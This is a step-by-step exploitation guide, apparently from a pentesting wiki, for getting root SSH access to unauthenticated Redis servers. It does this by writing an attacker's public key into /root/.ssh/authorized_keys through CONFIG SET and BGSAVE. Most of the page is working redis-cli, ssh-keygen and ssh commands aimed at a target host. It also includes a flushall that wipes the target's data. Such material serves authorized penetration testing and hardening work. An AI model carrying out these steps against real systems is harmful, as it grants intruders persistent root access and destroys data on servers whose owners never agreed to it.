# Redis RCE via SSH Key Injection

> Exploit unauthenticated Redis instances to achieve RCE by injecting attacker-controlled SSH public keys into root's authorized_keys via Redis config manipulation.

- **URL:** https://hackindex.io/services/redis/exploitation/rce-ssh-key
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-10

Redis can write any data to any writable path on disk. By pointing the DB save path at `/root/.ssh/` and writing your SSH public key as the DB content, you inject an authorized key and can then SSH in as root: or as whatever user Redis is running as. This gives persistent access rather than a reverse shell, and is often more stable than the cron technique on newer Linux distributions. Common reasons this technique fails:

- Redis not running as root and cannot write to `/root/.ssh/`
- SSH not listening or key-based auth disabled
- `.ssh` directory does not exist and Redis cannot create it
- CONFIG command disabled via rename-command

## Prerequisites Check

**1 - CONFIG access:**

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
```

Must return a path, not an error.

**2 - SSH port open:**

```bash
nmap -p 22 $TARGET_IP
```

SSH must be listening. If it is not, the technique still injects the key but you cannot use it until SSH is enabled.

**3 - Redis can write to the target SSH directory:**

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /root/.ssh
```

`OK` confirms write access. This requires Redis to be running as root. For non-root Redis, try the home directory of the redis user instead:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /home/redis/.ssh
```

If that directory does not exist, create it first from any existing shell on the target.

## Step 1 - Generate or Use Your SSH Key

Generate a key pair if you do not have one:

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/redis_key -N ""
```

Read the public key:

```bash
cat /tmp/redis_key.pub
```

## Step 2 - Record the Original Config

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
redis-cli -h $TARGET_IP -p 6379 config get dbfilename
```

## Step 3 - Write the Public Key into Redis

Pad the key with newlines to ensure cron-style garbage in the RDB file does not corrupt the authorized_keys format: SSH is strict about the file format:

```bash
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_payload.txt
redis-cli -h $TARGET_IP -p 6379 flushall
cat /tmp/redis_payload.txt | redis-cli -h $TARGET_IP -p 6379 -x set sshkey
```

## Step 4 - Save the Key to authorized_keys

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /root/.ssh
redis-cli -h $TARGET_IP -p 6379 config set dbfilename authorized_keys
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Confirm the save:

```bash
redis-cli -h $TARGET_IP -p 6379 lastsave
```

## Step 5 - Connect via SSH

```bash
ssh -i /tmp/redis_key root@$TARGET_IP
```

For a non-root Redis user:

```bash
ssh -i /tmp/redis_key redis@$TARGET_IP
```

If the connection is refused, the authorized_keys file may have bad permissions. From an existing foothold:

```bash
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
```

## Step 6 - Restore Original Config

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
redis-cli -h $TARGET_IP -p 6379 flushall
redis-cli -h $TARGET_IP -p 6379 bgsave
```

## Finding the Redis User's Home Directory

If Redis is not running as root but you do not know the user's home directory:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /tmp
redis-cli -h $TARGET_IP -p 6379 config set dbfilename test_write
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Then from a shell, check who owns `/tmp/test_write`:

```bash
ls -la /tmp/test_write
```

The owner is the Redis user. Check their home directory:

```bash
getent passwd redis
```

Use that home path for the `.ssh/authorized_keys` write.

## References

- [Redis Pentesting ](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis) - HackTricks SSH key injection technique and Redis CONFIG write methodology.